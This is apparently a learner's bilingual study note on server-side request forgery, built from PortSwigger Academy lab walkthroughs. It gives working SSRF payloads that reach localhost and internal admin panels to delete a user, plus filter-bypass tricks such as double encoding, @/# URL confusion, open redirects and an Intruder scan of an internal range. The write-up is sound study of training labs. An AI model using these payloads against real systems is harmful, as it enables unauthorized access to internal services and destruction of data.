0%

Server-side request forgery (SSRF)

服务端请求伪造

What is SSRF?

SSRF ” allows an attacker to cause the server-side application to make requests to an unintended location.“

通常情况下,是向内部的服务。严重的情况下,可能说是请求外部的任意系统,这就会泄露敏感信息。

What is the impact of SSRF attacks?

通常会导致”unauthorized actions or access to data within the organization“ , 有些情况下,可能会使攻击者能够执行任意代码。

“An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks.”

An SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks. these can appear to originate from the organization hosting the vulnerable application.

我的理解是,存在SSRF漏洞的服务器会被利用,用于进一步的攻击,像DDoS等等。会被当成肉鸡(?

Common SSRF attacks

SSRF通常是利用“可信关系”来发起攻击的。

SSRF attacks against the server

这里举出SSRF的一种攻击类型是通过,使应用自己给自己发请求,来实现的。“via its loopback network interface” , 比方说提交的URL改成127.0.0.1或者localhost

这里它举了个例子,说会查询库存数量。

1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1

这种时候,就可以指定个URL来实现SSRF攻击。

1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

此时,就泄露敏感数据了。因为攻击者正常情况下,是没办法访问/admin的,而此时是server本身发的请求,因此是可信的,所以会被接受。“the request appears to originate from a trusted location.”

为什么会信任来自本地的请求,可能有以下几种原因:

  • access control check可能跟server分开的,是server前边的另一个构件。所以自己给自己发送请求,这个check就被绕过了。
  • “For disaster recovery purposes”,可能说管理员密码忘了,登陆凭证丢了,就可以通过这种方式恢复系统。
  • 管理界面跟main application不在一个端口,用户接触不到。(所以就放松警惕了?)
    这种情况的漏洞,往往比较严重。

Lab: Basic SSRF against the local server

这里随便点进去一个商品页面可以看到有Check stock的交互。request 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /product/stock HTTP/2

Host: 0aa5000003a7903d81cf529b00fa002f.web-security-academy.net

Cookie: session=1TynsLvHlBR61qo4HmJHeXvl2xR8PA4G

Content-Length: 107

Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"

Sec-Ch-Ua-Platform: "Linux"

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: */*

Origin: https://0aa5000003a7903d81cf529b00fa002f.web-security-academy.net

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://0aa5000003a7903d81cf529b00fa002f.web-security-academy.net/product?productId=3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9



stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D3%26storeId%3D1

这里修改stockApi

1
stockApi=http%3a%2f%2flocalhost%2fadmin

然后发现页面出现管理后台

删除carlos即可,注意还是要利用loopback实现删除操作。这里删除使用的GET方法,故将stockApi修改为:

1
stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

即可完成lab

SSRF attacks against other back-end systems

这种类型与上述类型大致相同,只不过对象从localhost变成了后端的系统。

有些情况下,server可以与一些后端系统交互,用户就不可以。这些系统通常IP是不可路由的(non-routable),由网络拓扑来防护,防护较弱。而且,往往有些敏感功能。

举例:管理界面在后端https://192.168.0.68/admin。攻击者就可以使用SSRF漏洞,使用管理界面。

1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

Lab: Basic SSRF against another back-end system

这里给出了192.168.0.X,一个范围,需要我们自己去扫描,emmm,它要介绍burp suite的什么功能是吗?

是的,不出所料。介绍了Burp Intruder可以设置其中的参数,然后设置范围,然后发送数据包。

  1. 先将修改后的request送去Intruder这里选中1Add $
  2. 切换到Payloads标签页,将Payload type切换到NumbersFrom1To255,step=1
  3. 然后开始start attack,根据状态码排序可以很方便的看到管理后台在247
  4. 在截获个数据包可以看到
    1
    GET /http://192.168.0.247:8080/admin/delete?username=carlos HTTP/2
  5. 因此可以修改stockApi=http%3a%2f%2f192.168.0.247%3a8080%2fadmin%2fdelete%3fusername%3dcarlos即可完成。

Circumventing common SSRF defenses

circumvent verb. 规避(为什么不用bypass了?

SSRF with blacklist-based input filters

一些应用程序会限制输入,像常见的127.0.0.1localhost,或者敏感的URL,像之前的/admin。这种情况下,可以使用一些技巧来规避:

  • 使用127.0.0.1的替代表达,2130706433 , 017700000001 or 127.1
  • 注册自己的域名,解析到127.0.0.1
  • 利用URL编码或是大小写变化,来混淆字符串。
  • 提供一个URL重定向到目标URL。可以尝试用不同的协议。像httpswith http

Lab: SSRF with blacklist-based input filter

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

  1. 尝试了/127.1/admin,不行
  2. stockApi=http%3a%2f%2f2130706433%2fadmin ,blocked , https has been blocked too
  3. stockApi=%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%2f%61%64%6d%69%6e 也不行
  4. 看了题解,将admina进行两次url编码就可以绕过。
  5. 我最后使用127.1/admin,其中n进行了两次url编码来绕过。
  6. 显示管理面板后,截获数据包
    1
    GET /admin/delete?username=carlos HTTP/2
  7. 像之前一样发送数据包即可完成。

SSRF with whitelist-based input filters

You may be able to bypass this filter by exploiting inconsistencies in URL parsing.

  • 可以用@把credentials插入到hostname前边
    https://expected-host:fakepassword@evil-host
  • 可以用#指明URL分片(?
    https://evil-host#expected-host
  • 可以利用DNS域名分级(根,顶级,一级那个),来把要求的输入放入可控的,验证过的,DNS域名(?
    https://expected-host.evil-host
  • 可以使用URL编码来混淆。特别是过滤的实现和发送后端请求的实现不大一样时。也可以使用double-encoding

    [[Essential skills]]

Lab: SSRF with whitelist-based input filter

  1. 尝试127.1/admin并进行double encode,不成功
  2. 看到response
    1
    2
    3
    4
    5
    6
    HTTP/2 400 Bad Request
    Content-Type: application/json; charset=utf-8
    X-Frame-Options: SAMEORIGIN
    Content-Length: 58

    "External stock check host must be stock.weliketoshop.net"
  3. 看了solution,最终是使用@插入,并使用#来分片,同时需要对#进行double-URL encode
  4. 这里判断能使用@,URL支持embedded credentials.是通过发送URLhttp://username@stock.weliketoshop.net/
  5. stockApi=http%3a//localhost%3a80%2523%40stock.weliketoshop.net/admin/delete%3fusername%3dcarlos

Bypassing SSRF filters via open redirection

如果应用的api存在重定向漏洞,就可以构建一个满足过滤规则,最终重定向到target的URL,来利用。

举例 :

1
/product/nextProduct?currentProductId=6&path=http://evil-user.net
1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

这种情况能通过过滤,是因为:应用首先检验提交的stockAPI是在一个允许的域上。

Lab: SSRF with filter bypass via open redirection vulnerability

  1. 这里看到stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1,我初步的想法是像上述一样,加个&path=
  2. 结果是正常查询,看起来后端并没有解析path参数。
  3. 看了solution后,我意识到我找错了地方,Check stock并没有相应的open redirection vulnerability , 而是在next product
  4. 这里看到next product
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/2
    Host: 0a7800870442333983d36f8000e800f3.web-security-academy.net
    Cookie: session=zeo9BMgCcN4bjQC9fjrolDifIF0bKfmA; session=FllaMdiROXA8bis59Av3ZhGZwIbkHzVg
    Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Linux"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: https://0a7800870442333983d36f8000e800f3.web-security-academy.net/product?productId=1
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
  5. 可以看到这里是存在一个path参数的。
  6. 构建新的参数
    1
    GET /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin HTTP/2

    哥们在写完之后的下午上网站一看,发现后边都没有?震惊了,看来这个用HTML实现多行注释不咋地行

  7. 我意识到我的问题了,我应当修改stockApi, 从而利用/product/nextProduct来实现重定向。而非是直接使用GET去请求,这样是没法绕过的。
  8. 构建相应POST request
    stockApi=%2fproduct%2fnextProduct%3fpath%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin
  9. 成功访问管理界面
  10. stockApi=%2fproduct%2fnextProduct%3fpath%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin%2fdelete%3fusername%3dcarlos构建相应 request即可

Blind SSRF vulnerabilities

^69fef6

我理解的是,跟sql盲注一样,能执行,但不给你返回response。这种类型的漏洞很难利用(这一点也跟SQLi差不对么),但是有时会导致RCE。

Finding hidden attack surface for SSRF vulnerabilities

大多数SSRF漏洞都容易发现。但也有一些比较难定位的:

Partial URLs in requests

这种就是只在request参数中放hostname或者部分URL,到服务端再拼接成完整的。因为没办法控制整个URL,所以可能有点难利用。

URLs within data formats

一些应用可能采用特定的格式传输URL,比方说XML。如果用XML格式的话,可能就存在 XXE injection漏洞。

SSRF via the Referer header

一些应用在服务端会有分析软件来记录访客。这些软件通常会记录请求中的Referer头,而且通常会访问Referer头中的任意第三方URL,以此分析这些网站的内容。因此,Referer头就可能是一个非常有效的SSRF攻击面。

Blind SSRF vulnerabilities

What is blind SSRF?

[[#^69fef6]]

What is the impact of blind SSRF vulnerabilities?

The impact of blind SSRF vulnerabilities is often lower than fully informed SSRF vulnerabilities because of their one-way nature.

哦,影响是不如“fully informed”,虽然有些情况下可以实现RCE,但是没办法泄露敏感信息。

How to find and exploit blind SSRF vulnerabilities

探测blind SSRF漏洞最可靠的方式是,使用out-of-bandOAST技术。就是想办法向攻击者控制的外部系统发送HTTP请求。

它这里推荐了一个 Burp Collaborator , 可以生成唯一的域名,payloads, 监控与域名的交互活动。

这里还提到一个特征是:观察到DNS look-up, 但是没有后续的HTTP请求。这就表示,应用试图发送request,然后就先DNS lookup,但是HTTP request被network-level filtering过滤掉了。

由于这个“blind”,所以没法去浏览系统上的内容。但是可以用blind SSRF去进一步地探测内部网络,尝试去发送一些波及范围比较广的其它漏洞的payload。

另一个利用blind SSRF漏洞的目的就是去,诱导应用连接到攻击者控制的系统,然后攻击者借此返回恶意response。

Lab: Blind SSRF with out-of-band detection

这个就是上述的referer类型[[#SSRF via the Referer header ]],这个实验室也是利用Burp Collaborator的。

  1. 这个连checkstock都没有
  2. 截获查看产品的GETrequest,送去repeater,选中Referer,右键Insert Collaborator Payload , 然后发送
  3. collaborator查看,结果我啥也没看到。emmm,看了下event log,觉得是不是我没挂代理的问题。
  4. 上设置里跑了个health check,结果全红。把代理那边do dns lookups over socks proxy选上了,解决了一些问题,但是SMTP connection 还是会报错。
  5. 按理说这也不应该啥都搜不到?这个lab也用不到smtp啊
  6. 看了community solution ,也没法发现自己怎么不对。以后有机会自建collaborator 再试试把。

Lab: Blind SSRF with Shellshock exploitation

也是会用到collaborator,直接不做了。